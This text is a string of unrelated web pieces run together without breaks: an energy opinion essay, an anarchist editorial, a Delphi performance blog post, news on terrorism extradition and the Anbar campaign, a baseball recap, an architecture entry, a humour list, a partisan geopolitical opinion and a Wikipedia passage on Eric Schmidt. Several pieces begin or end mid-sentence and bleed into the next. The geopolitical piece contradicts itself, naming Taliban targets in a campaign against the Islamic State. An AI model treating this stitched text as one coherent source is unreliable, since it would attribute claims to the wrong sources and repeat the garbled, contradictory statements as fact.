Since the series is moving ahead with or without Weiner, it's likely that AMC will get its way on those two stipulations. So which two characters should get the pink slip? Here are the cases that some of Mad Men's devoted followers are making:
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We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.The future of sustainable energy
MARTIN NICHOLSON 26 OCT 2009
Much of our energy today comes from three high-energy resources - oil, coal and gas. These resources took millions of years to form. Over the last couple of centuries we’ve been avidly consuming them so it’s reasonable to suppose that one day they will all be gone.
If at all possible, we should be building our future on more sustainable sources. Something that will continue to provide our descendents with the abundant energy that has helped transform the livelihood of human beings throughout the world.
Sustainable energy is one of those vague terms that can mean different things to different people. It is often used as a “green” catch-all for things like energy conservation, energy efficiency and renewable energy, all with a positive environmental overtone.
A more precise (and more useful) definition of sustainable energy is “sources of energy that provide our energy needs today without jeopardising the needs of future generations”.
So how far in the future are we looking?
David MacKay in his book Sustainable Energy - without the hot air considers that 1,000 years will about do it. If you consider how technology has changed since the 11th century, then worrying about what our descendants are using for energy in the 31st century is probably futile - as long as we haven’t destroyed the planet in the meantime, of course.
Others such as the non-profit organisation invVEST consider that 100 years ought to be enough. Given that we are still using the energy sources that were used 100 years ago this might be too short a period. If these resources had been exhausted by our forebears by the early 20th century then we would be living in a very different world today. Some, of course, would wish that it were so.
The experts differ on how long coal, oil and gas will last and estimates vary from decades to a few centuries. But it is generally agreed that these fossil fuels will not meet MacKay’s 1,000-year test and may fail the 100-year test and so are not considered sustainable. The experts also differ on how long uranium can supply our current generation of nuclear rectors but we will deal with that below.
Renewable energy sources are often considered to be sustainable as they use resources such as water, wind and sunlight that are, to all intents and purposes, inexhaustible. Many will say that these are the only truly sustainable energy sources. As we shall see, that view ignores the 1,000-year test as well as some serious technical deficiencies with some renewable energy sources.
First, not all so called renewable sources are themselves sustainable. For example, some biofuels such as ethanol made from food crops like corn are no longer considered sustainable because of the competing need for the land on which the feedstock grows. The Australian Greens consider some biomass such as wood waste from old-growth forests to be unsuitable feedstock because of the risk to the big carbon sinks of old-growth forests. Hydropower relying on water flow from a particular river may also not be sustainable - particularly in Australia. Climate change may dry up rivers or change their course and leave the hydro system stranded.
Second, some renewable sources such as wind and solar PV are too variable to meet our continuous power demands unless combined with conventional sources (fossil fuels and nuclear) to fill in the gaps. Others, like solar thermal with sufficient heat storage to produce continuous reliable power, are prohibitively expensive. So without further technology developments, such as huge cost effective, sustainable electricity storage systems, our energy system in Australia is not sustainable today with or without renewables. See "Hasten slowly into renewable energy".
Geothermal energy is said to be promising but MacKay argues that a geothermal mine would be sustainable only if we are taking the energy out of the ground at the same rate as the earth is replacing it. So we might have to treat geothermal heat more like fossil fuels - a resource to be mined until it runs out.
MacKay also seriously questions whether Britain could ever generate enough energy from renewable resources to meet its energy needs even if technology was not an issue. Britain (and possibly Australia) may have to look at other options to find sustainable energy.
Are there any other sustainable energy sources on the horizon?
According to the World Nuclear Association, today’s generation of nuclear reactors use an average of 175 tonnes a year of uranium per GW. These reactors are largely using the uranium in a “once-through” cycle where less than 1 per cent of the uranium is actually used to generate energy.
MacKay estimates that the total world recoverable uranium is about 27 million tonnes. This includes resources mineable at less than $130 per kg (the higher-grade resources of around five million tonnes) and lower-grade resources contained in phosphate deposits that will be more expensive to mine. According to the International Energy Agency, because nuclear reactors use relatively little fuel most of the cost in generating nuclear energy is in the planning, construction and decommissioning of the power station not in the fuel. This means that a significant increase in the price of uranium has a much lower impact on the price of electricity. So it is reasonable to suppose that as the cheaper higher-grade resources become depleted the industry will be able to turn to the lower-grade resources.
Using all this recoverable uranium, our current nuclear reactors could operate for 400 years so they would fail the 1,000-year test but comfortable satisfy a 100-year test. But the WNA expects the world’s reactor numbers to more than double over the next few years so our current once-through reactors using uranium may not be sustainable depending on your view of sustainability.
Thorium can be used as an alternative to uranium. It is three times as abundant in the earth’s crust as uranium and is more evenly distributed around the world including Australia. Thorium has the added advantage that, unlike uranium, it can be completely burned up in simple reactors so it creates less long-lived radioactive waste. India already uses thorium in nuclear reactors so the technology is not new, but it will still not be sustainable using current generation reactors.
The newer generation fast breeder reactors burn up all the uranium so they can extract much more energy from uranium than traditional once-through reactors. MacKay estimates that fast breeder reactors obtain roughly 60 times as much energy from the same amount of uranium. They can also use all the discarded uranium from existing once-through reactors. This technology is not new either and several experimental reactors have been constructed over the last few decades but the promising Integral Fast Reactor technology might take several decades to become a commercial standard.
Fast breeder nuclear reactors could be the sustainable energy source we are looking for.
To the Greens this will all be bad news. First renewable sources will not deliver reliable, sustainable energy on their own - at least not in Australia. But worse news for the Greens is that the most likely source of sustainable energy will actually be nuclear power. James Lovelock knew this all along of course.
Martin Nicholson lives in the Byron Bay hinterland. He studied mathematics, engineering and electrical sciences at Cambridge University in the UK and graduated with a Masters degree in 1974. He has spent most of his working life as business owner and chief executive of a number of information technology companies in Australia. He is the author of the book Energy in a Changing Climate and has had several opinion pieces published in The Australian and The Financial Review. Martin Nicholson's website is here.
An opinion provided by OnlineOpinion.com.auOriginally titled “Anarchism and Racism,” this editorial was written in the early 1990s around the creation of a new publication focused on Black autonomist politics.
This is the first issue of the Journal of Anarchy and the Black Revolution, and although I do not think it will be the last, I do not know what form and shape it will take from here on out. This is very much dependent on the nature of the anti-authoritarian Black struggle which is developing and fermenting in our communities. We do not know precisely what our relationship with the North American Anarchist movement will be — one of fraternal relations, hostility or wary support.
Clearly, a movement which is all White, middle-class, self-absorbed, and naive about our struggle is not one we can unite with. In addition, it is a movement which can do very little for itself, let alone for our struggle. So it is time for some frank talk with Anarchists if we are to move forward from here toward the realistic possibility of a social revolution.
For over 15 years, since I have been in the so-called North American Anarchist movement, I have been at war with it. I have continually pointed out in my letters, articles in Anarchist publications, speeches, and personal conversations that the North American Anarchist scene is not what it must be if it is to be taken seriously. I even doubt that it is a social movement at all, but rather a White youth counter-cultural scene.
I am not the first one to have recognized this. Many other Black and non-white Anarchists I have spoken to like Juliana in Minneapolis, Greg in Seattle, Barbara in New York, Ojore in New Jersey, Shawn in Massachusetts, and others have recognized this. Also many black radical and community activists who I might be interested in Anarchism are turned off by an all-White middle-class scene. Who can blame them? The Anarchist movement has some of-the worst politics on the question of class and race in this society, and do not even pretend to be concerned with the plight of the super-oppressed Black masses.
Whenever I have attempted to call for reforms within the Anarchist movement itself, such as racial and cultural diversity, recruiting more Blacks and Third world peoples into the movement, building an anti-racist movement of a new type to challenge the white identity as well as the oppression of non-White peoples, I have been resisted at every turn by Anarchist “purists” and White radicals within the scene. I fought with the IWW, Social Revolutionary Anarchist Federation and other United States Anarchist groups in the 1970s, when I first came into the Anarchist scene. I most recently went through such a struggle with a group called the Love and Rage Revolutionary Anarchist Federation, which has its headquarters in New York. So it is not just a matter of this being a new issue — this has gone on for years!
Anarchist Purism and White Supremacy
The question then arises: are the Anarchists consciously building a white movement, for what I call ‘white rights” issues that only the radical chic middle class are interested in? This is the case even when many of them live in cities which are majority-Black population centers, such as Detroit, Oakland, Atlanta, Philadelphia and others. They live in the Anarchist ghetto and look at the Black community which surrounds them with suspicion and muted hostility. Can this type of movement work toward a social revolution when, by the end of the decade it is predicted that half of this nation will be non-white peoples? I don’t think so!
Even the Republican Party recognizes that it cannot raise any hell or hope to build a capitalist governing coalition without the participation of non-white peoples, so what the hell is wrong with these Anarchists?
Anarchist purism is a form of ideological conformity, a method of keeping Anarchist ideals “pure” and to prevent any new movements from arising which violate cardinal principles of traditional European Anarchist thought and practice. This also works to ensure only white people will define, and will continue to dominate Anarchist theory, and that only white people will make up the ranks of the movement in the main.
Movements arising in the Black or Hispanic communities, which are influenced by revolutionary nationalism and the anti-authoritarian core of Anarchism, would be denounced as “not being truly Anarchist,” and thus denied support. I have seen this done historically — to the Student Non-Violent Coordinating Committee in the 1960s; Martin Sostre (and myself) in the 1970s; MOVE in the 1980s, and to this very day. Without fail, this is a way of keeping the movement “right” [and white]. But it also keeps it in an ideological straitjacket which separates it from the social events outside the white radical community, which is where the real world is; so it helps of marginalize Anarchists when one demands conformity to the catechism that Bakunin or Kropotkin wrote over 100 years ago. How is this any different from the Marxists?
There is also the question of elitism and racism from those Anarchists like the Love and Rage group who feel they can think and speak for Black revolutionaries and the communities they are from. These people are from privileged households, have left home to play the big bad revolutionary and fake being poor. The truth is a pair of combat boots, ripped jeans, and a dirty t-shirt does not make one a poor person or an expert on American racial politics. This is nothing but missionary work to these people. They may have changed attitudes; they are arrogant, doctrinaire and condescending to the max. They feel they have the answer, and that everyone, especially Blacks, should follow them to the Promised Land. Only they are qualified to speak on questions of race and class. They know everything!
White radicals like this really irk me. This is why only an arrogant, self-centered movement will surface with this kind of prevailing social ethic at the core of the group.
But there is another kind of white radical within the Anarchist movement which needs to be taken to task. This is the type that claims not to know any difference between the conditions of Black and White workers, and argues we “are all in the same boat.” This type pretends not to see any racial oppression in U.S. society at all, and Blacks and other non-whites do not deserve any “special treatment.” This type of person is usually to be found in the Anarcho-Syndicalist movement in the United States. This is in fact an old line, an economist position, which sacrifices the struggle against racism to that of class peace among the Black and white workers. We are to unite around economic issues, and avoid “contentious” and “divisive” issues of race. But, as I will expose, this is in itself really a racist and escapist position, and shows one to have no moral backbone at all.
It is really a cop-out to try to claim that the “working class” is’ being oppressed without pointing out that there is no monolithic working class in America, and never has been. There has always been a brutalized and exploited African-American working class, beginning with slavery, through both agrarian and industrial periods of the economy, down to the so-called information age. Black labor has always been subjected to racial oppression in addition to that of the struggle as workers fighting the rule of capital.
It is reductionism of the worst sort to claim there are no differences in the social position of the Black working class, no special oppression, as a group like Workers Solidarity Alliance does. In an article published in Ideas and Action, the WSA political journal, one writer stated that he saw no difference or “nothing special” as he put it between left-handed persons and the plight of African-Americans. But the most infamous issue of the publication was in a full page article in issue #13, printed in 1990, called “White Workers and Racism” in response to the racist murder of Yusuf Hawkins in New York.
In the most sickening fashion possible, the article tries to equate “attacks against innocent whites by minority youth” with Hawkins’ racist murder. Neil Farber (a pseudonym for an unidentified member of WSA) talks about “racists and demagogues on both sides,” a classic white middle-class cop-out. He denied there is such a thing as white skin privilege, saying that it was just the creation of a number of left-wing sects in the 1960s. We must assume he was talking about the Black Panther Party or the revolutionary syndicalist League of Revolutionary Black Workers, although he tries to say he’s talking about white radicals.
He says that the relatively higher standard of living is due to “workers’ struggles”, as if the white workers had “earned” their booty by fighting the boss. Not true. The white middle class standard of living is only possible because of the super-exploitation of colonial countries and enslavement, and continued super-exploitation of African-American and other non-white workers.
This nonsense by Farber is crowned by a statement that the Anarcho-Syndicalist movement has “always” supported the struggles of oppressed workers. This is a lie. The Anarchist movement generally has never supported the Black struggle or engaged in-anti-racist movements. The WSA is no exception. They are just now doing it.
The denial of white skin privilege is a type of obscurantism that the white Left in general, and the Anarchists, in particular, are guilty of. This obscurantism, or obscuring of the truth of Black oppression, has also been called the “white blind spot” by radicals like Noel Ignatiev, the longtime radical organizer and theorist on race and class issues.
But in addition to hiding behind economic issues, there is the kind of eclectic escapism within North American Anarchism which pretends that gender oppression, gay oppression, class exploitation other oppression, or some other contradiction among the white nationality is on a par with or even more important than white supremacy. This individual are usually people who also subscribe to compartmentalization, or attempts to neatly confine the dynamics of racism to a side issue or single issue politics, as just another “ism.”
This is reflected in their movements — almost all-white movements against “fascism” or what they call racism, usually crude KKK/Nazi organizing. They never deal with institutional racism or the white supremacy differential in the quality of life in this country. It’s all sophomoric, idealistic and emotional, and it certainly doesn’t do Blacks and other non-whites any real good. We are no safer from fascism because of these white radical do-gooders. They are part of the problem, not part of the solution.
Who knows if it will be possible for the U.S. anarchist scene to coexist with, let alone work with a newly emerging Black anti-authoritarian movement? One thing that White Anarchists must understand it that is not merely a question of getting Blacks and other non-whites to join Anarchist associations, just to say they have a Black face. We must work to build a non-racist society and we must have principled unity.
Similar Posts:Delphi has featured function inlining since 2005. But it was not until XE6 and 2014 when this feature really lived up to its promise. Our MtxVec library uses default array property on records and objects to access individual values of vectors and matrices. Even though we specified the setter and getters to be inlined:
function getDefaultArray(const Idx: integer): double; inline;
procedure setDefaultArray(const Idx: integer; const Value: double); inline;
...
property Values[const Idx: integer]: double read getDefaultArray write setDefaultArray; default;
the performance did not match access to a simple dynamic array. Well, here comes the XE6 and the speed for 1D arrays is a match. Performance improvement by 6x. Even more, when accessing elements of 2D dynamic arrays, the 2D inline property for accessing elements on matrices is faster:
var a: TMtx; //our TObject class
d: array of array of double;
begin
..
a[i,j] := 0; ///faster than d[i,j]
...
d[i,j] := 0;
..
end;
Performance improvement by a total of 4x in compare to XE5 and before. This makes a lot of our code noticably faster simply by making use of the new XE6 Delphi compiler.The court said the sentences would breach the prohibition on inhuman or degrading treatment under Article Three of the European Convention of Human Rights.
The judges have asked for further submissions on their preliminary ruling but if they maintain their stance Hamza and the other suspects will have to be released from the maximum security jails where they have been held pending extradition.
Other prisoners in Britain on “whole life tariffs” could also have their sentences reviewed.
The judges have also ruled that prolonged detention in solitary confinement in a US “supermax” prison in Florence, Colorado would breach Article Three.
The court said it wanted to know whether the men would have any real prospect of entering the “step-down programme” in which they would move through different levels of contact with others until they would be suitable for transfer to a normal prison.
However it said that Abu Hamza would only spend a short period of time in the supermax jail until his health was assessed.
He is blind in one eye, has had both forearms amputated and suffers from high blood pressure and diabetes.
But the court dismissed the men’s fears that they would not receive a fair trial because the US court could use information obtained by torture or through plea bargaining.
It also rejected their claim that they could be designated as enemy combatants and could face extraordinary rendition or the death penalty, after diplomatic assurances were received from the US.
The court has asked if the men, once convicted, could have their sentences reduced, and whether the US constitution’s Eighth Amendment, which prohibits “cruel and unusual punishment” was the equivalent of Article Three.
Both sides have been invited to submit further written observations with the British Government submitting their comments by September 2.
In the meantime, the court said, it would continue a ruling that the applicants should not be extradited while the cases were still being examined.
It has taken the court two years to reach its preliminary decision and the case is likely to drag on much longer.
Each of the accused is suspected of membership of al-Qaeda or of having aided and abetted acts of international terrorism.
The men were indicted on various terrorism charges in the US between 2004 and 2006.
Babar Ahmad and Seyla Talha Ahsan, who ran a website from Tooting, South London, are accused of providing support to terrorists and conspiracy to kill, kidnap maim or injure persons or damage property in a foreign country.
Hamza has been charged with 11 different counts of criminal conduct related to the taking of 16 hostages in Yemen in 1998, advocating violent jihad in Afghanistan in 2001 and conspiring to establish a jihad training camp in Bly, Oregon between June 2000 and December 2001.
The former imam at Finsbury Park Mosque in North London, is currently serving a seven year sentence for incitement to murder and stirring up racial hatred but is due for parole next year.
Haroon Rashid Aswat from Batley, West Yorkshire, was indicted as Abu Hamza’s co conspirator in respect of the training camp.
Ahmad, Ahsan and Abu Hamza face life sentences without parole and Aswat a maximum of 50 years in jail - meaning he would be nearly 78 before becoming eligible for release.
Ahmad and Ahsan are currently held Long Lartin jail in Worcestershire while Hamza is in Belmarsh in South East London and Aswat at Broadmoor secure mental hospital
The court was made up of ten judges including one from Britain and others from Poland, Malta, Bosnia, Iceland, Albania, Moldova, Slovakia, Finland and Montenegro.Box Score | Photo Gallery | Box Score
HATTIESBURG, Miss. - Dylan Burdeaux and Daniel Keating led Sunday off with home runs and Hayden Roberts went 7 1/3 solid innings as Southern Miss beat Marshall 13-3 in eight innings at Pete Taylor Park/Hill Denson Field.
With the win, the 25th-ranked Golden Eagles (19-5, 5-1 Conference USA) won the rubber match of the three-game series after the teams split a Friday doubleheader.
"Thought we came out and made a statement right off the bat," Southern Miss coach Scott Berry said. "Hayden goes three up, and three down and we answer with three runs, and really make their guy pitch a lot in the first inning."
Burdeaux, one of three Golden Eagles who drove in three runs, hit his sixth home run of the season to start the game then ended with a two-run double that capped a four-run eighth inning as Southern Miss 10-run-ruled the Thundering Herd (11-10, 3-3).
Mason Irby had three of Southern Miss' 15 hits, scored three times and drove in three runs, while Storme Cooper also had three hits and drove in three runs. Matt Wallner and Cole Donaldson had two hits each for the Golden Eagles, who have at least 10 hits in each of their first six conference games.
Roberts (3-1) allowed three runs on five hits, walking three while striking out seven. Stevie Powers wrapped up the final two outs.
"Hayden Roberts really pitched (Sunday)," Berry said. "The reason I say that is because he did not have his best stuff. Honestly, it was probably the worst stuff he had all year, but he pitched with it, and you're talking about a Marshall team that had double-digit hits in both games prior to this one, and he limits them to five (hits)."
After Burdeaux and Keating led off with back-to-back home runs off Marshall starter Patrick Murphy (1-1), the Golden Eagles took a 3-0 lead when Taylor Braley walked and eventually came around to score on a passed ball.
Braley, who walked three times and scored two runs, has 24 walks on the season, an average of one walk per game.
Marshall made the score 3-2 on Shane Hanon's two-run homer to left-center field in the top of the second inning, but Southern Miss bumped the lead to 4-2 in the third when Storme Cooper forced in a run with a bases-loaded walk.
The Golden Eagles opened an 8-2 lead, scoring four runs with two outs in the fourth inning on Mason Irby's bases-clearing double and Cole Donaldson's single.
Hanon, who had entered the series without a home run, lined his second of the game over the left-field wall to lead off the fifth inning to get the Herd back to 8-3.
Cooper drove in a run in the sixth inning with a single to make it 9-3, then he and LeeMarcus Boyd each drove in a run in the eighth before Burdeaux ended the game with his two-run fly ball over the head of Hanon in center field.
Southern Miss will host South Alabama at 6 p.m. Tuesday and New Orleans at 6 p.m. Wednesday before embarking on a three-game trip to WKU in Bowling Green, Ky., next weekend.Image copyright EPA Image caption Prime Minister Haider al-Abadi is seeking help from Sunni volunteers to drive IS out of Anbar
Iraq's Prime Minister Haider al-Abadi has said the country plans to "liberate" the eastern province of Anbar from Islamic State (IS).
"Our next... battle will be here in the land of Anbar to completely liberate it," his office quoted him as saying.
Military sources say Iraqi troops are fighting IS east of the regional capital Ramadi.
Government forces recaptured Tikrit from IS last week after it fell to the jihadist militants in June.
'Will prevail'
Mr Abadi said in a post on his official Facebook page (in Arabic): "We will prevail in Anbar as we prevailed in Tikrit."
Army officers said IS militants had been driven back in the Sijariya area east of Ramadi.
Anbar, a heavily-Sunni area stretching west from the capital Baghdad to the Syrian border, is the country's biggest province. Most of its towns and cities are held by IS or other Sunni insurgents.
Falluja, a key city in the region overrun by IS, is said to be blockaded on three sides amidst a build-up for an assault.
In addition to Iraqi army units, Shia militia forces are also reported to be moving in to the province from areas to the south of Baghdad.
The use of Shia irregulars in heavily-Sunni heartlands is controversial although PM Abadi is organising the mobilisation and arming of local Sunni tribes, reports the BBC's Middle East correspondent Jim Muir.
Efforts to dislodge Sunni militants from cities like Falluja have failed in the past, so recapturing the whole of the huge Anbar province is clearly a major undertaking, our correspondent notes.
But the government is evidently hoping to keep up the momentum of the defeat inflicted on the militants at Tikrit, he adds.
Iraqi officials have argued for some time that to isolate IS in its bastions along the Syrian border, Anbar should be the next major target either on its own or in a parallel attack on the northern province of Nineveh.
US troops occupied Anbar for eight years, suffering heavy losses in the process to Sunni insurgents.
Troubled history of Anbar province
Image copyright Getty Images Image caption US troops occupied Anbar for eight years, suffering heavy losses in the processwater purification skyscraper, jakarta
‘ciliwung recovery program’ by indonesian rezza rahdian, edwin setiawan, ayu diah shanti, leonardus chrisnantyo
continuing our coverage of the 2010 skyscraper competition here is indonesian rezza rahdian, edwin setiawan, ayu diah shanti, leonardus chrisnantyo second place winning entry.
jakarta, the capital city of indonesia, was originally designed as a water city where thirteen rivers that crossed the city utilized completely as source of livelihood by the citizens. ciliwung river as the largest river that cuts right along the center of the city is the main river that supports the citizens’ life. unfortunately, today the river had become disaster for the citizens, because surge of water flooded the city, and the number of slums along the riverbanks adds a new problem, namely the pollution of watershed’s surrounding.
ciliwung recovery program (CRP), a project aims to purify the ciliwung river’s environment to its original form. through the new system in the building, CRP is expected to be able to repair and become the sustainability generator for jakarta.
there are three main lines in the process of purifying the ciliwung river, first line is the flow of the polluted river water into the building through pipes by utilizing capillary vessel systems, into the filtrating section. at this stage, the river water is separated from garbage, the organic garbage then used as raw materials to fertilize the soil around the river basin, while garbage-free water proceeded to the next stage or channeled back into the river.
the second line is the phase of river water purification through elimination of dangerous contaminants, and addition of various good minerals to the water, so it is safe for daily needs of CRP building occupants, which is people who previously lived in the slums along ciliwung river. removal of riverbank dwellers into the CRP building aims to open and expand ciliwung watersheds that will be prepared to be the new open spaces for more ‘green’ jakarta and to secure the flood plane.
the third line is the re-processing of household waste products into water which is safe to be returned to the ciliwung river. some of processed water are being distributed to lands around ciliwung river in two ways. first, through capillary pipes under the ground that not only bring water, but also fertilizer produced in the first line. capillary tubings are connected to generator towers around the damaged lands, and create a new environment that’s usable for agriculture. second, by spraying processed water through the skin of the building. spraying water from height raises the humidity in the lower part of the building that triggers the growth of pioneer plants that will contribute to the creation of a new ecosystem. CRP’s ecosystems will create a good microclimate for jakarta, as well as a response to the lost of many open green spaces around the world that leads to global warming.
CRP buildings generate energy for itself, including the use of passive technology systems in the building. the skin of the building is designed with many layers, where the outer layer of the skin receives large amount of wind that used as a wind power generator. for solar power generator, there is a gigantic solar reactor at the top. the elevator of CRP building uses archimedes principle of vessels. it will move up and down by accommodating its specific gravity. the excess energy generated from CRP system will be distributed to buildings around the ciliwung river.
structure of the building
sections of the water purification skyscraper
the liftsRecently, David Beckham, the only soccer player you have ever heard of, announced that he would donate his entire salary to charity, which we assume was part of the bargain he made with Lucifer in exchange for self-chiseling abdominal muscles and Posh Spice's inflated boobs. As it turns out, Beckham isn't the only person to give away a fortune (regardless of motive).
3 George Lucas George Lucas
When bearded dollar sign George Lucas sold Lucasfilm to Disney in 2012, Star Wars fans across the globe collectively seethed with rage, probably because they'd waded through 10 years of shitty prequels and cartoons to be rewarded with this picture:
Disney via Washington Post
"We were wrong, everybody. Star Wars COULD get more lame."
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[inject-module]
To be fair, we would sell anything for $4 billion, regardless of whose name was on the check. However, Lucas has pledged to give virtually all of that money to charity, because he's spent the past four decades selling anything large enough to print "Star Wars" on and quite frankly doesn't need the extra cash anyway. While his plans are thunderously vague at this point (his representatives won't even say what charities he plans to make it rain on), we have to admit that it is a pretty remarkable gesture, especially coming from a man who spent two hours in 1999 telling the rest of humanity he doesn't give one bleeding shit about them.Nikolai Bobkin | Strategic Culture Foundation
“Except for Egypt and Israel, which are the true states, the rest of the Middle East – it’s just tribes waving their flags” former Israeli Prime Minister Golda Meir
The Middle East faces the vicious circle of US-incited changes of regimes and the established borders of Arab states. Perhaps Americans are guided by the view expressed four decades ago by former Israeli Prime Minister Golda Meir: «Except for Egypt and Israel, which are the true states, the rest of the Middle East – it’s just tribes waving their flags». The plundered Libya has ceased to be a unified state, Yemen is divided, and the integrity of Syria and Iraq is threatened. The Islamic State, a new product of US diplomacy, has emerged to control the territory larger than Great Britain. It is preparing an invasion of Lebanon and Jordan. Its further plans include establishing control over Mecca and Medina. The organization has become a much bigger threat than any another terrorist group.
At present a 25-thousand strong joint contingent of Iraqi army and Kurdish armed formations is preparing to free Mosul from the Islamic States militants. An operation to liberate the second largest Iraqi city with the population of two million is not just an anti-terrorist action – it’s an operation of large-scale in a full-fledged war. And it’s not about achieving a military victory only. Iraq defends its very national statehood. The US Afghanistan experience provides a warning. Mojahedin got US arms to fight the USSR. Now they have become the Taliban. After 13 years of US and NATO occupation the civil war is not over, the Taliban is on the way to seize power. It is all being repeated in Iraq. Few believe that the US will win.
The US-planned military operation with the mission to defeat the Islamic State has three phases:
– to deliver air strikes against the Taliban positions;
– to provide training to Iraqi government forces and Kurdish self-defense units, and, perhaps, some Sunni tribes.
– to eliminate Islamic States forces in Syria – the final objective of the campaign.
According to the Pentagon, it will take three years to implement the plans. Somebody else will have to accomplish the mission as Obama is leaving in 2016. Before his tenure is over he can lay a mine under the Iraq’s statehood. That’s what his Iraqi Kurdistan policy is aimed at.
There is no united front against the Islamic State. The forces confronting the group include the US-built coalition, government forces in Syria and Iraq, as well Kurds formations in these two countries. Kurds realize well that under no circumstances will jihadists accept the idea of Kurdistan’s independence or its autonomy within the borders of the state they want to create. Being formally an autonomous entity in the north of Iraq, the Kurdish independent state has been in existence for many years, practically since the overthrow of Saddam Hussein in 2003. Under George Bush Jr., the United States became a guarantor of Iraqi’s territorial integrity within the borders that existed at the time. Back then Washington was not interested in the partition of the country. President Obama views things differently. With him in power the US withdrew from Iraq to deviate pretty soon from its commitments as an ally.
Washington is concerned over the growing rapprochement between the Shia leadership of Iraq and the government of Iran, a Shia state. This prospect frightens it more than the emergence of terrorist monster, |
500,000 on it.[60]
Schmidt is an investor in Timshel, another start up company associated with Hillary Clinton's 2016 presidential campaign.[61] Timshel is the parent company of The Groundwork.[61]
Philanthropy [ edit ]
Schmidt Family Foundation [ edit ]
The Schmidt Family Foundation was established in 2006 by Wendy Schmidt and Eric Schmidt to address issues of sustainability and the responsible use of natural resources.[62]
Schmidt and his wife established the Eric & Wendy Schmidt Data Science for Social Good Fellowship, a University of Chicago summer school program for aspiring data scientists.
The Schmidt Family Foundation's subsidiaries include ReMain Nantucket and the Marine Science and Technology Foundation; its main charitable program is the 11th Hour Project. The foundation has also awarded grants to the Natural Resources Defense Council and the Energy Foundation.[63]
The foundation is the main funder of the Schmidt Ocean Institute, which supports oceanographic research by operating RV Falkor.[64]
The Schmidts, working with Heart Howerton, a San Francisco architectural firm that specializes in large-scale land use, have inaugurated several projects on the island of Nantucket that seek to sustain the unique character of the island and to minimize the impact of seasonal visitation on the island's core community.
Mrs. Schmidt offered the prize purse of the Wendy Schmidt Oil Cleanup X CHALLENGE, a challenge award for the efficient capturing of crude oil from seawater motivated by the Deepwater Horizon oil spill.[65]
The foundation also donated $10 million to the Monterey Bay Aquarium in 2015.[66]
Schmidt Transformative Technology Fund [ edit ]
In 2009, Eric and Wendy Schmidt endowed the Schmidt Transformative Technology Fund at Princeton University with $25 million. The Fund's purpose is to support cutting edge research and technology in the natural sciences and engineering, encouraging collaboration across disciplines.[67][68][69][70] It awarded $1.2 million in grants in 2010 and $1.7 million in grants in 2012.[71][72]
Schmidt Science Fellows [ edit ]
Created in partnership with the Rhodes Trust, the Schmidt Science Fellows program is part of a $100 million commitment to drive scientific leadership and interdisciplinary research.[73] The program features a Global Meeting Series including exclusive sessions at world-leading institutions including Oxford, Cambridge, MIT, and Harvard. Fellows receive a stipend to participate in postdoctoral study which differs from their existing expertise.
Public positions [ edit ]
Tax avoidance [ edit ]
Schmidt has claimed that Google's use of artificial distinctions to avoid paying billions of pounds in corporation tax owed by its UK operations[74] is "capitalism"[75] and that he was "very proud of it".[76]
On 16 May 2013 Margaret Hodge MP, the chair of the United Kingdom Public Accounts Committee accused Google of being "calculated and unethical" over its use of artificial distinctions to avoid paying billions of pounds in Corporation tax owed by its UK operations.[74] Google was accused by the committee, which represents the interests of all UK taxpayers, of being "evil" for not paying its "fair amount of tax".[77]
In 2015, the UK Government introduced a new law intended to penalise Google and other large multinational corporations' artificial tax avoidance.[78] Google is accused of avoiding paying tens of billions of dollars of tax through a convoluted scheme of inter-company licensing agreements and transfers to tax havens.[79] Schmidt was also criticised for his inaccurate use of the term 'capitalism' to describe billions of dollars being transferred into tax havens where no economic activity was actually taking place.[77]
Schmidt with Google founders
Privacy [ edit ]
Publicly Schmidt stated that, as paraphrased by CNN/Money, "there has to be a trade-off between privacy concerns and functionality."[80] His explanations referenced "Don't Be Evil".[80]
During an interview aired on December 3, 2009, on the CNBC documentary "Inside the Mind of Google," Schmidt was asked, "People are treating Google like their most trusted friend. Should they be?" He replied: "I think judgment matters. If you have something that you don't want anyone to know, maybe you shouldn't be doing it in the first place. But if you really need that kind of privacy, the reality is that search engines, including Google, do retain this information for some time. And it's important, for example, that we are all subject in the United States to the Patriot Act. It is possible that information could be made available to the authorities."[81][82]
At the Techonomy conference on August 4, 2010, Schmidt expressed that technology is good. And he said that the only way to manage the challenges is "much greater transparency and no anonymity." Schmidt also stated that in an era of asymmetric threats, "true anonymity is too dangerous."[83] However, at the 2013 Hay Festival, Schmidt expressed concern that sharing of personal information was too rampant and could have a negative effect, particularly on teenagers, stating that "we have never had a generation with a full photographic, digital record of what they did", declaring that "We have a point at which we [Google] forget information we know about you because it is the right thing to do. There are situations in life that it's better that they don't exist."[84]
In 2013, Schmidt stated that the government surveillance in the United States was the "nature of our society" and that he was not going to "pass judgment on that".[85] However, on the revelation that the NSA has been secretly spying on Google's data centers worldwide, he called the practice "outrageous" and criticized the NSA's collection of Americans phone records.[86]
In 2005, Google blacklisted CNET reporters from talking to Google employees for one year, until July 2006, after CNET published personal information on Schmidt, including his political donations, hobbies, salary, and neighborhood, that had been obtained through Google searches.[80]
Network neutrality [ edit ]
In August 2010, Schmidt clarified his company's views on network neutrality: "I want to be clear what we mean by Net neutrality: What we mean is if you have one data type like video, you don't discriminate against one person's video in favor of another. But it's okay to discriminate across different types. So you could prioritize voice over video. And there is general agreement with Verizon and Google on that issue."[87]
Influence of Internet usage in North Korea [ edit ]
In January 2013, Schmidt and Jared Cohen, director of Google Ideas visited North Korea along with former New Mexico governor Bill Richardson.[88] The trip was highly publicized and controversial due to the ongoing tension between North Korea and the United States.[89] On August 10, 2013, North Korea announced an indigenous smartphone, named Arirang, that may be using the Google Android operating system.[90]
Advocating open Internet use in Myanmar [ edit ]
In March 2013, Schmidt visited Myanmar, which had been ruled by a military junta for decades and is transitioning to a democracy. During his visit, Schmidt spoke in favor of free and open Internet use in the country, and was scheduled to meet with the country's president.[91][92][93]
Authored books and publications [ edit ]
The New Digital Age [ edit ]
In 2013, Schmidt and Jared Cohen, director of the Google Ideas think tank, published The New Digital Age: Reshaping the Future of People, Nations and Business, which discusses the geopolitical implications of increasingly widespread Internet use and access to information. The book was inspired by an essay in Foreign Affairs magazine the two co-wrote in 2010.[94][95][96] He also wrote the preface to The Startup Game: Inside the Partnership between Venture Capitalists and Entrepreneurs, by William H. Draper, III.[97]
How Google Works [ edit ]
